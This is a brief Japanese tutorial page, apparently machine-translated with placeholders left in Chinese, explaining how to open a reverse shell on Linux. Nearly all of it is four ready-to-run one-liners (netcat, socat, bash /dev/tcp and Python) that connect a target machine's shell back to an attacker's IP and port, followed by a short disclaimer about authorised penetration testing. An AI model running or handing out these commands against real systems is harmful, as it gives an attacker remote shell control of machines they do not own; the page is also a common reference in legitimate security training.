Linux上でシェルをリバースする方法

Linux システムでリバースシェルを実行するには、以下のようにします。

  1. 攻撃者のマシンでポートの受信待ちを行い、そのポートをターゲットマシンのポートに接続する。ターゲットマシンでは、以下を実行します。
$ nc -e /bin/bash [攻击者IP] [端口号]
  1. ソキャット:ネットキャットに似たものだが、より多くの機能を提供する。ターゲットマシン上で以下を実行する:
$ socat tcp-connect:[攻击者IP]:[端口号] exec:"bash -i"
  1. Bashリバースシェル:ターゲットマシン上で以下のコマンドを実行します:
$ exec /bin/bash 0<>/dev/tcp/[攻击者IP]/[端口号]; 2>&0
  1. Pythonでリバースシェルを実行するには、ターゲットマシン上で次のコマンドを実行する必要があります。
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击者IP]",[端口号]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

上述の手法は、学習と合法なペネトレーションテストを目的とした使用に限ります。実施前に、適切な権限を得て、適用される法律や倫理基準に従っていることを確認してください。

bannerAds